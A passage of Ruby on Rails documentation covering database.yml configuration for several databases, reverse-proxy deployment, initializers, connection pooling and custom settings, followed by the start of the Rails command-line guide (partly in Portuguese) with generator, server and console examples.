cat config/database.yml echo $DATABASE_URL bin/rails runner 'puts ActiveRecord::Base.configurations' bin/rails runner 'puts ActiveRecord::Base.configurations.inspect' Copiar

Here the connection information in ENV['DATABASE_URL'] is ignored, note the different adapter and database name.

Since it is possible to embed ERB in your config/database.yml it is best practice to explicitly show you are using the ENV['DATABASE_URL'] to connect to your database. This is especially useful in production since you should not commit secrets like your database password into your source control (such as Git).

$ cat config/database.yml
production:
url: <%= ENV['DATABASE_URL'] %>

cat config/database.yml Copiar

Now the behavior is clear, that we are only using the connection information in ENV['DATABASE_URL'].

3.19.1 Configuring an SQLite3 Database

Rails comes with built-in support for SQLite3, which is a lightweight serverless database application. While a busy production environment may overload SQLite, it works well for development and testing. Rails defaults to using an SQLite database when creating a new project, but you can always change it later.

Here's the section of the default configuration file (config/database.yml) with connection information for the development environment:

development:
adapter: sqlite3
database: db/development.sqlite3
pool: 5
timeout: 5000

development: adapter: sqlite3 database: db/development.sqlite3 pool: 5 timeout: 5000 Copiar

Rails uses an SQLite3 database for data storage by default because it is a zero configuration database that just works. Rails also supports MySQL (including MariaDB) and PostgreSQL "out of the box", and has plugins for many database systems. If you are using a database in a production environment Rails most likely has an adapter for it.

3.19.2 Configuring a MySQL or MariaDB Database

If you choose to use MySQL or MariaDB instead of the shipped SQLite3 database, your config/database.yml will look a little different. Here's the development section:

development:
adapter: mysql2
encoding: utf8mb4
database: blog_development
pool: 5
username: root
password:
socket: /tmp/mysql.sock

development: adapter: mysql2 encoding: utf8mb4 database: blog_development pool: 5 username: root password: socket: /tmp/mysql.sock Copiar

If your development database has a root user with an empty password, this configuration should work for you. Otherwise, change the username and password in the development section as appropriate.

If your MySQL version is 5.5 or 5.6 and want to use the utf8mb4 character set by default, please configure your MySQL server to support the longer key prefix by enabling innodb_large_prefix system variable.

Advisory Locks are enabled by default on MySQL and are used to make database migrations concurrent safe. You can disable advisory locks by setting advisory_locks to false:

production:
adapter: mysql2
advisory_locks: false

production: adapter: mysql2 advisory_locks: false Copiar

3.19.3 Configuring a PostgreSQL Database

If you choose to use PostgreSQL, your config/database.yml will be customized to use PostgreSQL databases:

development:
adapter: postgresql
encoding: unicode
database: blog_development
pool: 5

development: adapter: postgresql encoding: unicode database: blog_development pool: 5 Copiar

By default Active Record uses database features like prepared statements and advisory locks. You might need to disable those features if you're using an external connection pooler like PgBouncer:

production:
adapter: postgresql
prepared_statements: false
advisory_locks: false

production: adapter: postgresql prepared_statements: false advisory_locks: false Copiar

If enabled, Active Record will create up to 1000 prepared statements per database connection by default. To modify this behavior you can set statement_limit to a different value:

production:
adapter: postgresql
statement_limit: 200

production: adapter: postgresql statement_limit: 200 Copiar

The more prepared statements in use: the more memory your database will require. If your PostgreSQL database is hitting memory limits, try lowering statement_limit or disabling prepared statements.

3.19.4 Configuring an SQLite3 Database for JRuby Platform

If you choose to use SQLite3 and are using JRuby, your config/database.yml will look a little different. Here's the development section:

development:
adapter: jdbcsqlite3
database: db/development.sqlite3

development: adapter: jdbcsqlite3 database: db/development.sqlite3 Copiar

3.19.5 Configuring a MySQL or MariaDB Database for JRuby Platform

If you choose to use MySQL or MariaDB and are using JRuby, your config/database.yml will look a little different. Here's the development section:

development:
adapter: jdbcmysql
database: blog_development
username: root
password:

development: adapter: jdbcmysql database: blog_development username: root password: Copiar

3.19.6 Configuring a PostgreSQL Database for JRuby Platform

If you choose to use PostgreSQL and are using JRuby, your config/database.yml will look a little different. Here's the development section:

development:
adapter: jdbcpostgresql
encoding: unicode
database: blog_development
username: blog
password:

development: adapter: jdbcpostgresql encoding: unicode database: blog_development username: blog password: Copiar

Change the username and password in the development section as appropriate.

3.19.7 Configuring Metadata Storage

By default Rails will store information about your Rails environment and schema in an internal table named ar_internal_metadata.

To turn this off per connection, set use_metadata_table in your database configuration. This is useful when working with a shared database and/or database user that cannot create tables.

development:
adapter: postgresql
use_metadata_table: false

development: adapter: postgresql use_metadata_table: false Copiar

3.20 Creating Rails Environments

By default Rails ships with three environments: "development", "test", and "production". While these are sufficient for most use cases, there are circumstances when you want more environments.

Imagine you have a server which mirrors the production environment but is only used for testing. Such a server is commonly called a "staging server". To define an environment called "staging" for this server, just create a file called config/environments/staging.rb. Please use the contents of any existing file in config/environments as a starting point and make the necessary changes from there.

That environment is no different than the default ones, start a server with bin/rails server -e staging, a console with bin/rails console -e staging, Rails.env.staging? works, etc.

3.21 Deploy to a Subdirectory (relative URL root)

By default Rails expects that your application is running at the root (e.g. /). This section explains how to run your application inside a directory.

Let's assume we want to deploy our application to "/app1". Rails needs to know this directory to generate the appropriate routes:

config.relative_url_root = "/app1"

config.relative_url_root = "/app1" Copiar

alternatively you can set the RAILS_RELATIVE_URL_ROOT environment variable.

Rails will now prepend "/app1" when generating links.

3.21.1 Using Passenger

Passenger makes it easy to run your application in a subdirectory. You can find the relevant configuration in the Passenger manual.

3.21.2 Using a Reverse Proxy

Deploying your application using a reverse proxy has definite advantages over traditional deploys. They allow you to have more control over your server by layering the components required by your application.

Many modern web servers can be used as a proxy server to balance third-party elements such as caching servers or application servers.

One such application server you can use is Unicorn to run behind a reverse proxy.

In this case, you would need to configure the proxy server (NGINX, Apache, etc) to accept connections from your application server (Unicorn). By default Unicorn will listen for TCP connections on port 8080, but you can change the port or configure it to use sockets instead.

You can find more information in the Unicorn readme and understand the philosophy behind it.

Once you've configured the application server, you must proxy requests to it by configuring your web server appropriately. For example your NGINX config may include:

upstream application_server {
server 0.0.0.0:8080;
}

server {
listen 80;
server_name localhost;

root /root/path/to/your_app/public;

try_files $uri/index.html $uri.html @app;

location @app {
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header Host $http_host;
proxy_redirect off;
proxy_pass http://application_server;
}

# some other configuration
}

upstream application_server { server 0.0.0.0:8080; } server { listen 80; server_name localhost; root /root/path/to/your_app/public; try_files $uri/index.html $uri.html @app; location @app { proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header Host $http_host; proxy_redirect off; proxy_pass http://application_server; } # some other configuration } Copiar

Be sure to read the NGINX documentation for the most up-to-date information.

4 Rails Environment Settings

Some parts of Rails can also be configured externally by supplying environment variables. The following environment variables are recognized by various parts of Rails:

- ENV["RAILS_ENV"] defines the Rails environment (production, development, test, and so on) that Rails will run under.

- ENV["RAILS_RELATIVE_URL_ROOT"] is used by the routing code to recognize URLs when you deploy your application to a subdirectory.

- ENV["RAILS_CACHE_ID"] and ENV["RAILS_APP_VERSION"] are used to generate expanded cache keys in Rails' caching code. This allows you to have multiple separate caches from the same application.

5 Using Initializer Files

After loading the framework and any gems in your application, Rails turns to loading initializers. An initializer is any Ruby file stored under config/initializers in your application. You can use initializers to hold configuration settings that should be made after all of the frameworks and gems are loaded, such as options to configure settings for these parts.

The files in config/initializers (and any subdirectories of config/initializers) are sorted and loaded one by one as part of the load_config_initializers initializer.

If an initializer has code that relies on code in another initializer, you can combine them into a single initializer instead. This makes the dependencies more explicit, and can help surface new concepts within your application. Rails also supports numbering of initializer file names, but this can lead to file name churn. Explicitly loading initializers with require is not recommended, since it will cause the initializer to get loaded twice.

There is no guarantee that your initializers will run after all the gem initializers, so any initialization code that depends on a given gem having been initialized should go into a config.after_initialize block.

6 Initialization events

Rails has 5 initialization events which can be hooked into (listed in the order that they are run):

- before_configuration: This is run as soon as the application constant inherits from Rails::Application. The config calls are evaluated before this happens.

- before_initialize: This is run directly before the initialization process of the application occurs with the :bootstrap_hook initializer near the beginning of the Rails initialization process.

- to_prepare: Run after the initializers are run for all Railties (including the application itself), but before eager loading and the middleware stack is built. More importantly, will run upon every code reload in development, but only once (during boot-up) in production and test.

- before_eager_load: This is run directly before eager loading occurs, which is the default behavior for the production environment and not for the development environment.

- after_initialize: Run directly after the initialization of the application, after the application initializers in config/initializers are run.

To define an event for these hooks, use the block syntax within a Rails::Application, Rails::Railtie or Rails::Engine subclass:

module YourApp
class Application < Rails::Application
config.before_initialize do
# initialization code goes here
end
end
end

module YourApp class Application < Rails::Application config.before_initialize do # initialization code goes here end end end Copiar

Alternatively, you can also do it through the config method on the Rails.application object:

Rails.application.config.before_initialize do
# initialization code goes here
end

Rails.application.config.before_initialize do # initialization code goes here end Copiar

Some parts of your application, notably routing, are not yet set up at the point where the after_initialize block is called.

6.1 Rails::Railtie#initializer

Rails has several initializers that run on startup that are all defined by using the initializer method from Rails::Railtie. Here's an example of the set_helpers_path initializer from Action Controller:

initializer "action_controller.set_helpers_path" do |app|
ActionController::Helpers.helpers_path = app.helpers_paths
end

initializer "action_controller.set_helpers_path" do |app| ActionController::Helpers.helpers_path = app.helpers_paths end Copiar

The initializer method takes three arguments with the first being the name for the initializer and the second being an options hash (not shown here) and the third being a block. The :before key in the options hash can be specified to specify which initializer this new initializer must run before, and the :after key will specify which initializer to run this initializer after.

Initializers defined using the initializer method will be run in the order they are defined in, with the exception of ones that use the :before or :after methods.

You may put your initializer before or after any other initializer in the chain, as long as it is logical. Say you have 4 initializers called "one" through "four" (defined in that order) and you define "four" to go before "four" but after "three", that just isn't logical and Rails will not be able to determine your initializer order.

The block argument of the initializer method is the instance of the application itself, and so we can access the configuration on it by using the config method as done in the example.

Because Rails::Application inherits from Rails::Railtie (indirectly), you can use the initializer method in config/application.rb to define initializers for the application.

6.2 Initializers

Below is a comprehensive list of all the initializers found in Rails in the order that they are defined (and therefore run in, unless otherwise stated).

- load_environment_hook: Serves as a placeholder so that :load_environment_config can be defined to run before it.

- load_active_support: Requires active_support/dependencies which sets up the basis for Active Support. Optionally requires active_support/all if config.active_support.bare is un-truthful, which is the default.

- initialize_logger: Initializes the logger (an ActiveSupport::Logger object) for the application and makes it accessible at Rails.logger, provided that no initializer inserted before this point has defined Rails.logger.

- initialize_cache: If Rails.cache isn't set yet, initializes the cache by referencing the value in config.cache_store and stores the outcome as Rails.cache. If this object responds to the middleware method, its middleware is inserted before Rack::Runtime in the middleware stack.

- set_clear_dependencies_hook: This initializer - which runs only if cache_classes is set to false - uses ActionDispatch::Callbacks.after to remove the constants which have been referenced during the request from the object space so that they will be reloaded during the following request.

- initialize_dependency_mechanism: If config.cache_classes is true, configures ActiveSupport::Dependencies.mechanism to require dependencies rather than load them.

- bootstrap_hook: Runs all configured before_initialize blocks.

- i18n.callbacks: In the development environment, sets up a to_prepare callback which will call I18n.reload! if any of the locales have changed since the last request. In production this callback will only run on the first request.

- active_support.deprecation_behavior: Sets up deprecation reporting for environments, defaulting to :log for development, :notify for production, and :stderr for test. If a value isn't set for config.active_support.deprecation then this initializer will prompt the user to configure this line in the current environment's config/environments file. Can be set to an array of values. This initializer also sets up behaviors for disallowed deprecations, defaulting to :raise for development and test and :log for production. Disallowed deprecation warnings default to an empty array.

- active_support.initialize_time_zone: Sets the default time zone for the application based on the config.time_zone setting, which defaults to "UTC".

- active_support.initialize_beginning_of_week: Sets the default beginning of week for the application based on config.beginning_of_week setting, which defaults to :monday.

- active_support.set_configs: Sets up Active Support by using the settings in config.active_support by send'ing the method names as setters to ActiveSupport and passing the values through.

- action_dispatch.configure: Configures the ActionDispatch::Http::URL.tld_length to be set to the value of config.action_dispatch.tld_length.

- action_view.set_configs: Sets up Action View by using the settings in config.action_view by send'ing the method names as setters to ActionView::Base and passing the values through.

- action_controller.assets_config: Initializes the config.actions_controller.assets_dir to the app's public directory if not explicitly configured.

- action_controller.set_helpers_path: Sets Action Controller's helpers_path to the application's helpers_path.

- action_controller.parameters_config: Configures strong parameters options for ActionController::Parameters.

- action_controller.set_configs: Sets up Action Controller by using the settings in config.action_controller by send'ing the method names as setters to ActionController::Base and passing the values through.

- action_controller.compile_config_methods: Initializes methods for the config settings specified so that they are quicker to access.

- active_record.initialize_timezone: Sets ActiveRecord::Base.time_zone_aware_attributes to true, as well as setting ActiveRecord::Base.default_timezone to UTC. When attributes are read from the database, they will be converted into the time zone specified by Time.zone.

- active_record.logger: Sets ActiveRecord::Base.logger - if it's not already set - to Rails.logger.

- active_record.migration_error: Configures middleware to check for pending migrations.

- active_record.check_schema_cache_dump: Loads the schema cache dump if configured and available.

- active_record.warn_on_records_fetched_greater_than: Enables warnings when queries return large numbers of records.

- active_record.set_configs: Sets up Active Record by using the settings in config.active_record by send'ing the method names as setters to ActiveRecord::Base and passing the values through.

- active_record.initialize_database: Loads the database configuration (by default) from config/database.yml and establishes a connection for the current environment.

- active_record.log_runtime: Includes ActiveRecord::Railties::ControllerRuntime which is responsible for reporting the time taken by Active Record calls for the request back to the logger.

- active_record.set_reloader_hooks: Resets all reloadable connections to the database if config.cache_classes is set to false.

- active_record.add_watchable_files: Adds schema.rb and structure.sql files to watchable files.

- active_job.logger: Sets ActiveJob::Base.logger - if it's not already set - to Rails.logger.

- active_job.set_configs: Sets up Active Job by using the settings in config.active_job by send'ing the method names as setters to ActiveJob::Base and passing the values through.

- action_mailer.logger: Sets ActionMailer::Base.logger - if it's not already set - to Rails.logger.

- action_mailer.set_configs: Sets up Action Mailer by using the settings in config.action_mailer by send'ing the method names as setters to ActionMailer::Base and passing the values through.

- action_mailer.compile_config_methods: Initializes methods for the config settings specified so that they are quicker to access.

- set_load_path: This initializer runs before bootstrap_hook. Adds paths specified by config.load_paths and all autoload paths to $LOAD_PATH.

- set_autoload_paths: This initializer runs before bootstrap_hook. Adds all sub-directories of app and paths specified by config.autoload_paths, config.eager_load_paths and config.autoload_once_paths to ActiveSupport::Dependencies.autoload_paths.

- add_routing_paths: Loads (by default) all config/routes.rb files (in the application and railties, including engines) and sets up the routes for the application.

- add_locales: Adds the files in config/locales (from the application, railties, and engines) to I18n.load_path, making available the translations in these files.

- add_view_paths: Adds the directory app/views from the application, railties, and engines to the lookup path for view files for the application.

- load_environment_config: Loads the config/environments file for the current environment.

- prepend_helpers_path: Adds the directory app/helpers from the application, railties, and engines to the lookup path for helpers for the application.

- load_config_initializers: Loads all Ruby files from config/initializers in the application, railties, and engines. The files in this directory can be used to hold configuration settings that should be made after all of the frameworks are loaded.

- engines_blank_point: Provides a point-in-initialization to hook into if you wish to do anything before engines are loaded. After this point, all railtie and engine initializers are run.

- add_generator_templates: Finds templates for generators at lib/templates for the application, railties, and engines and adds these to the config.generators.templates setting, which will make the templates available for all generators to reference.

- ensure_autoload_once_paths_as_subset: Ensures that the config.autoload_once_paths only contains paths from config.autoload_paths. If it contains extra paths, then an exception will be raised.

- add_to_prepare_blocks: The block for every config.to_prepare call in the application, a railtie, or engine is added to the to_prepare callbacks for Action Dispatch which will be run per request in development, or before the first request in production.

- add_builtin_route: If the application is running under the development environment then this will append the route for rails/info/properties to the application routes. This route provides the detailed information such as Rails and Ruby version for public/index.html in a default Rails application.

- build_middleware_stack: Builds the middleware stack for the application, returning an object which has a call method which takes a Rack environment object for the request.

- eager_load!: If config.eager_load is true, runs the config.before_eager_load hooks and then calls eager_load! which will load all config.eager_load_namespaces.

- finisher_hook: Provides a hook for after the initialization of process of the application is complete, as well as running all the config.after_initialize blocks for the application, railties, and engines.

- set_routes_reloader_hook: Configures Action Dispatch to reload the routes file using ActiveSupport::Callbacks.to_run.

- disable_dependency_loading: Disables the automatic dependency loading if the config.eager_load is set to true.

7 Database pooling

Active Record database connections are managed by ActiveRecord::ConnectionAdapters::ConnectionPool which ensures that a connection pool synchronizes the amount of thread access to a limited number of database connections. This limit defaults to 5 and can be configured in database.yml.

development:
adapter: sqlite3
database: db/development.sqlite3
pool: 5
timeout: 5000

development: adapter: sqlite3 database: db/development.sqlite3 pool: 5 timeout: 5000 Copiar

Since the connection pooling is handled inside of Active Record by default, all application servers (Thin, Puma, Unicorn, etc.) should behave the same. The database connection pool is initially empty. As demand for connections increases it will create them until it reaches the connection pool limit.

Any one request will check out a connection the first time it requires access to the database. At the end of the request it will check the connection back in. This means that the additional connection slot will be available again for the next request in the queue.

If you try to use more connections than are available, Active Record will block you and wait for a connection from the pool. If it cannot get a connection, a timeout error similar to that given below will be thrown.

ActiveRecord::ConnectionTimeoutError - could not obtain a database connection within 5.000 seconds (waited 5.000 seconds)

ActiveRecord::ConnectionTimeoutError - could not obtain a database connection within 5.000 seconds (waited 5.000 seconds) Copiar

If you get the above error, you might want to increase the size of the connection pool by incrementing the pool option in database.yml

If you are running in a multi-threaded environment, there could be a chance that several threads may be accessing multiple connections simultaneously. So depending on your current request load, you could very well have multiple threads contending for a limited number of connections.

8 Custom configuration

You can configure your own code through the Rails configuration object with custom configuration under either the config.x namespace, or config directly. The key difference between these two is that you should be using config.x if you are defining nested configuration (ex: config.x.nested.hi), and just config for single level configuration (ex: config.hello).

config.x.payment_processing.schedule = :daily
config.x.payment_processing.retries  = 3
config.super_debugger = true

config.x.payment_processing.schedule = :daily config.x.payment_processing.retries = 3 config.super_debugger = true Copiar

These configuration points are then available through the configuration object:

Rails.configuration.x.payment_processing.schedule # => :daily
Rails.configuration.x.payment_processing.retries  # => 3
Rails.configuration.x.payment_processing.not_set  # => nil
Rails.configuration.super_debugger                # => true

Rails.configuration.x.payment_processing.schedule # => :daily Rails.configuration.x.payment_processing.retries # => 3 Rails.configuration.x.payment_processing.not_set # => nil Rails.configuration.super_debugger # => true Copiar

You can also use Rails::Application.config_for to load whole configuration files:

# config/payment.yml:
production:
environment: production
merchant_id: production_merchant_id
public_key:  production_public_key
private_key: production_private_key

development:
environment: sandbox
merchant_id: development_merchant_id
public_key:  development_public_key
private_key: development_private_key

# config/payment.yml: production: environment: production merchant_id: production_merchant_id public_key: production_public_key private_key: production_private_key development: environment: sandbox merchant_id: development_merchant_id public_key: development_public_key private_key: development_private_key Copiar

# config/application.rb
module MyApp
class Application < Rails::Application
config.payment = config_for(:payment)
end
end

# config/application.rb module MyApp class Application < Rails::Application config.payment = config_for(:payment) end end Copiar

Rails.configuration.payment['merchant_id'] # => production_merchant_id or development_merchant_id

Rails.configuration.payment['merchant_id'] # => production_merchant_id or development_merchant_id Copiar

Rails::Application.config_for supports a shared configuration to group common configurations. The shared configuration will be merged into the environment configuration.

# config/example.yml
shared:
foo:
bar:
baz: 1

development:
foo:
bar:
qux: 2

# config/example.yml shared: foo: bar: baz: 1 development: foo: bar: qux: 2 Copiar

# development environment
Rails.application.config_for(:example)[:foo][:bar] #=> { baz: 1, qux: 2 }

# development environment Rails.application.config_for(:example)[:foo][:bar] #=> { baz: 1, qux: 2 } Copiar

9 Search Engines Indexing

Sometimes, you may want to prevent some pages of your application to be visible on search sites like Google, Bing, Yahoo, or Duck Duck Go. The robots that index these sites will first analyze the http://your-site.com/robots.txt file to know which pages it is allowed to index.

Rails creates this file for you inside the /public folder. By default, it allows search engines to index all pages of your application. If you want to block indexing on all pages of your application, use this:

User-agent: *
Disallow: /

User-agent: * Disallow: / Copiar

To block just specific pages, it's necessary to use a more complex syntax. Learn it on the official documentation.

10 Evented File System Monitor

If the listen gem is loaded Rails uses an evented file system monitor to detect changes when config.cache_classes is false:

group :development do
gem 'listen', '~> 3.3'
end

group :development do gem 'listen', '~> 3.3' end Copiar

Otherwise, in every request Rails walks the application tree to check if anything has changed.

On Linux and macOS no additional gems are needed, but some are required for *BSD and for Windows.

Note that some setups are unsupported.

Linhas de Comando do Rails — Ruby on...

1 Noções Básicas de Linha de Comando

Existem alguns comandos essenciais para o uso cotidiano do Rails. Na ordem de quanto você provavelmente irá utilizá-los são:

- bin/rails console

- bin/rails server

- bin/rails test

- bin/rails generate

- bin/rails db:migrate

- bin/rails db:create

- bin/rails routes

- bin/rails dbconsole

- rails new app_name

Você pode obter uma lista dos comandos do Rails disponíveis, que geralmente depende de seu diretório atual, escrevendo rails --help. Cada comando possui uma descrição, que deverá ajudá-lo a encontrar o que precisa.

$ rails --help
Usage: rails COMMAND [ARGS]

Os comandos de Rails mais comuns são:
generate    Gera um novo código (tecla de atalho: "g")
console     Inicia um console Rails (tecla de atalho: "c")
server      Inicia um servidor Rails (tecla de atalho: "s")
...

Todos os comandos podem ser executados com -h (ou --help) para mais informações.

Além desses comandos, existem:
about                               Lista a versão de todos os Rails ...
assets:clean[keep]                  Remove os *assets* compilados antigos
assets:clobber                      Remove os *assets* compilados
assets:environment                  Carrega o ambiente de compilação de *assets*
assets:precompile                   Compila todos os *assets* ...
...
db:fixtures:load                    Carrega *fixtures* no ...
db:migrate                          Migra o banco de dados ...
db:migrate:status                   Mostra o status da migração
db:rollback                         Retorna o *schema* de volta para ...
db:schema:cache:clear               Limpa um arquivo db/schema_cache.yml
db:schema:cache:dump                Cria um arquivo db/schema_cache.yml
db:schema:dump                      Cria o schema do banco de dados (db/schema.rb ou db/structure.sql ...
db:schema:load                      Carrega um arquivo de schema de banco de dados (db/schema.rb ou db/structure.sql ...
db:seed                             Carrega os dados da seed ...
db:version                          Recupera o *schema* atual ...
...
restart                             Reinicia o aplicativo tocando em ...
tmp:create                          Cria diretórios tmp ...

rails --help Copiar

Vamos criar uma aplicação Rails simples passando por cada um destes comandos.

1.1 rails new

The first thing we'll want to do is create a new Rails application by running the rails new command after installing Rails.

You can install the rails gem by typing gem install rails, if you don't have it already.

$ rails new commandsapp
create
create  README.md
create  Rakefile
create  config.ru
create  .gitignore
create  Gemfile
create  app
...
create  tmp/cache
...
run  bundle install

rails new commandsapp Copiar

Rails will set you up with what seems like a huge amount of stuff for such a tiny command! You've got the entire Rails directory structure now with all the code you need to run our simple application right out of the box.

If you wish to skip some files or components from being generated, you can append the following arguments to your rails new command:

Argument

Description

--skip-gemfile

Don't create a Gemfile

--skip-git

Skip .gitignore file

--skip-keeps

Skip source control .keep files

--skip-action-mailer

Skip Action Mailer files

--skip-action-text

Skip Action Text gem

--skip-active-record

Skip Active Record files

--skip-active-storage

Skip Active Storage files

--skip-puma

Skip Puma related files

--skip-action-cable

Skip Action Cable files

--skip-sprockets

Skip Sprockets files

--skip-spring

Don't install Spring application preloader

--skip-listen

Don't generate configuration that depends on the listen gem

--skip-javascript

Skip JavaScript files

--skip-turbolinks

Skip turbolinks gem

--skip-test

Skip test files

--skip-system-test

Skip system test files

--skip-bootsnap

Skip bootsnap gem

1.2 bin/rails server

The bin/rails server command launches a web server named Puma which comes bundled with Rails. You'll use this any time you want to access your application through a web browser.

With no further work, bin/rails server will run our new shiny Rails app:

$ cd commandsapp
$ bin/rails server
=> Booting Puma
=> Rails 6.0.0 application starting in development
=> Run `bin/rails server --help` for more startup options
Puma starting in single mode...
* Version 3.12.1 (ruby 2.5.7-p206), codename: Llamas in Pajamas
* Min threads: 5, max threads: 5
* Environment: development
* Listening on tcp://localhost:3000
Use Ctrl-C to stop

cd commandsapp bin/rails server Copiar

With just three commands we whipped up a Rails server listening on port 3000. Go to your browser and open http://localhost:3000, you will see a basic Rails app running.

You can also use the alias "s" to start the server: bin/rails s.

The server can be run on a different port using the -p option. The default development environment can be changed using -e.

$ bin/rails server -e production -p 4000

bin/rails server -e production -p 4000 Copiar

The -b option binds Rails to the specified IP, by default it is localhost. You can run a server as a daemon by passing a -d option.

1.3 bin/rails generate

The bin/rails generate command uses templates to create a whole lot of things. Running bin/rails generate by itself gives a list of available generators:

You can also use the alias "g" to invoke the generator command: bin/rails g.

$ bin/rails generate
Usage: rails generate GENERATOR [args] [options]

...
...

Please choose a generator below.

Rails:
assets
channel
controller
generator
...
...

bin/rails generate Copiar

You can install more generators through generator gems, portions of plugins you'll undoubtedly install, and you can even create your own!

Using generators will save you a large amount of time by writing boilerplate code, code that is necessary for the app to work.

Let's make our own controller with the controller generator. But what command should we use? Let's ask the generator:

All Rails console utilities have help text. As with most *nix utilities, you can try adding --help or -h to the end, for example bin/rails server --help.

$ bin/rails generate controller
Usage: bin/rails generate controller NAME [action action] [options]

...
...

Description:
...

To create a controller within a module, specify the controller name as a path like 'parent_module/controller_name'.

...

Example:
`bin/rails generate controller CreditCards open debit credit close`

Credit card controller with URLs like /credit_cards/debit.
Controller: app/controllers/credit_cards_controller.rb
Test:       test/controllers/credit_cards_controller_test.rb
Views:      app/views/credit_cards/debit.html.erb [...]
Helper:     app/helpers/credit_cards_helper.rb

bin/rails generate controller Copiar

The controller generator is expecting parameters in the form of generate controller ControllerName action1 action2. Let's make a Greetings controller with an action of hello, which will say something nice to us.

$ bin/rails generate controller Greetings hello
create  app/controllers/greetings_controller.rb
route  get 'greetings/hello'
invoke  erb
create    app/views/greetings
create    app/views/greetings/hello.html.erb
invoke  test_unit
create    test/controllers/greetings_controller_test.rb
invoke  helper
create    app/helpers/greetings_helper.rb
invoke    test_unit
invoke  assets
invoke    scss
create      app/assets/stylesheets/greetings.scss

bin/rails generate controller Greetings hello Copiar

What all did this generate? It made sure a bunch of directories were in our application, and created a controller file, a view file, a functional test file, a helper for the view, a JavaScript file, and a stylesheet file.

Check out the controller and modify it a little (in app/controllers/greetings_controller.rb):

class GreetingsController < ApplicationController
def hello
@message = "Hello, how are you today?"
end
end

class GreetingsController < ApplicationController def hello @message = "Hello, how are you today?" end end Copiar

Then the view, to display our message (in app/views/greetings/hello.html.erb):

<h1>A Greeting for You!</h1>
<p><%= @message %></p>

<h1>A Greeting for You!</h1> <p><%= @message %></p> Copiar

Fire up your server using bin/rails server.

$ bin/rails server
=> Booting Puma...

bin/rails server Copiar

The URL will be http://localhost:3000/greetings/hello.

With a normal, plain-old Rails application, your URLs will generally follow the pattern of http://(host)/(controller)/(action), and a URL like http://(host)/(controller) will hit the index action of that controller.

Rails comes with a generator for data models too.

$ bin/rails generate model
Usage:
bin/rails generate model NAME [field[:type][:index] field[:type][:index]] [options]

...

ActiveRecord options:
[--migration], [--no-migration]        # Indicates when to generate migration
# Default: true

...

Description:
Generates a new model. Pass the model name, either CamelCased or
under_scored, and an optional list of attribute pairs as arguments.

...

bin/rails generate model Copiar

For a list of available field types for the type parameter, refer to the API documentation for the add_column method for the SchemaStatements module. The index parameter generates a corresponding index for the column.

But instead of generating a model directly (which we'll be doing later), let's set up a scaffold. A scaffold in Rails is a full set of model, database migration for that model, controller to manipulate it, views to view and manipulate the data, and a test suite for each of the above.

We will set up a simple resource called "HighScore" that will keep track of our highest score on video games we play.

$ bin/rails generate scaffold HighScore game:string score:integer
invoke  active_record
create    db/migrate/20190416145729_create_high_scores.rb
create    app/models/high_score.rb
invoke    test_unit
create      test/models/high_score_test.rb
create      test/fixtures/high_scores.yml
invoke  resource_route
route    resources :high_scores
invoke  scaffold_controller
create    app/controllers/high_scores_controller.rb
invoke    erb
create      app/views/high_scores
create      app/views/high_scores/index.html.erb
create      app/views/high_scores/edit.html.erb
create      app/views/high_scores/show.html.erb
create      app/views/high_scores/new.html.erb
create      app/views/high_scores/_form.html.erb
invoke    test_unit
create      test/controllers/high_scores_controller_test.rb
create      test/system/high_scores_test.rb
invoke    helper
create      app/helpers/high_scores_helper.rb
invoke      test_unit
invoke    jbuilder
create      app/views/high_scores/index.json.jbuilder
create      app/views/high_scores/show.json.jbuilder
create      app/views/high_scores/_high_score.json.jbuilder
invoke  assets
invoke    scss
create      app/assets/stylesheets/high_scores.scss
invoke  scss
create    app/assets/stylesheets/scaffolds.scss

bin/rails generate scaffold HighScore game:string score:integer Copiar

The generator checks that there exist the directories for models, controllers, helpers, layouts, functional and unit tests, stylesheets, creates the views, controller, model and database migration for HighScore (creating the high_scores table and fields), takes care of the route for the resource, and new tests for everything.

The migration requires that we migrate, that is, run some Ruby code (living in that 20130717151933_create_high_scores.rb) to modify the schema of our database. Which database? The SQLite3 database that Rails will create for you when we run the bin/rails db:migrate command. We'll talk more about that command below.

$ bin/rails db:migrate
==  CreateHighScores: migrating ===============================================
-- create_table(:high_scores)
-> 0.0017s
==  CreateHighScores: migrated (0.0019s) ======================================

bin/rails db:migrate Copiar

Let's talk about unit tests. Unit tests are code that tests and makes assertions about code. In unit testing, we take a little part of code, say a method of a model, and test its inputs and outputs. Unit tests are your friend. The sooner you make peace with the fact that your quality of life will drastically increase when you unit test your code, the better. Seriously. Please visit the testing guide for an in-depth look at unit testing.

Let's see the interface Rails created for us.

$ bin/rails server

bin/rails server Copiar

Go to your browser and open http://localhost:3000/high_scores, now we can create new high scores (55,160 on Space Invaders!)

1.4 bin/rails console

The console command lets you interact with your Rails application from the command line. On the underside, bin/rails console uses IRB, so if you've ever used it, you'll be right at home. This is useful for testing out quick ideas with code and changing data server-side without touching the website.

You can also use the alias "c" to invoke the console: bin/rails c.

You can specify the environment in which the console command should operate.

$ bin/rails console -e staging

bin/rails console -e staging Copiar

If you wish to test out some code without changing any data, you can do that by invoking bin/rails console --sandbox.

$ bin/rails console --sandbox
Loading development environment in sandbox (Rails 5.1.0)
Any modifications you make will be rolled back on exit
irb(main):001:0>

bin/rails console --sandbox Copiar

1.4.1 The app and helper objects

Inside the bin/rails console you have access to the app and helper instances.

With the app method you can access named route helpers, as well as do requests.

irb> app.root_path
=> "/"

irb> app.get _
Started GET "/" for 127.0.0.1 at 2014-06-19 10:41:57 -0300
...

app.root_path app.get _ Copiar

With the helper method it is possible to access Rails and your application's helpers.

irb> helper.time_ago_in_words 30.days.ago
=> "about 1 month"

irb> helper.my_custom_helper
=> "my custom helper"

helper.time_ago_in_words 30.days.ago helper.my_custom_helper Copiar

1.5 bin/rails dbconsole

bin/rails dbconsole figures out which database you're using and drops you into whichever command line interface you would use with it (and figures out the command line parameters to give to it, too!). It supports MySQL (including MariaDB), PostgreSQL, and SQLite3.

You can also use the alias "db" to invoke the dbconsole: bin/rails db.

If you are using multiple databases, bin/rails dbconsole will connect to the primary database by default. You can specify which database to connect to using --database or --db:

$ bin/rails dbconsole --database=animals

bin/rails dbconsole --database=animals Copiar

1.6 bin/rails runner

runner runs Ruby code in the context of Rails non-interactively. For instance:

$ bin/rails runner "Model.long_running_method"

bin/rails runner "Model.long_running_method" Copiar

You can also use the alias "r" to invoke the runner: bin/rails r.

You can specify the environment in which the runner command should operate using the -e switch.

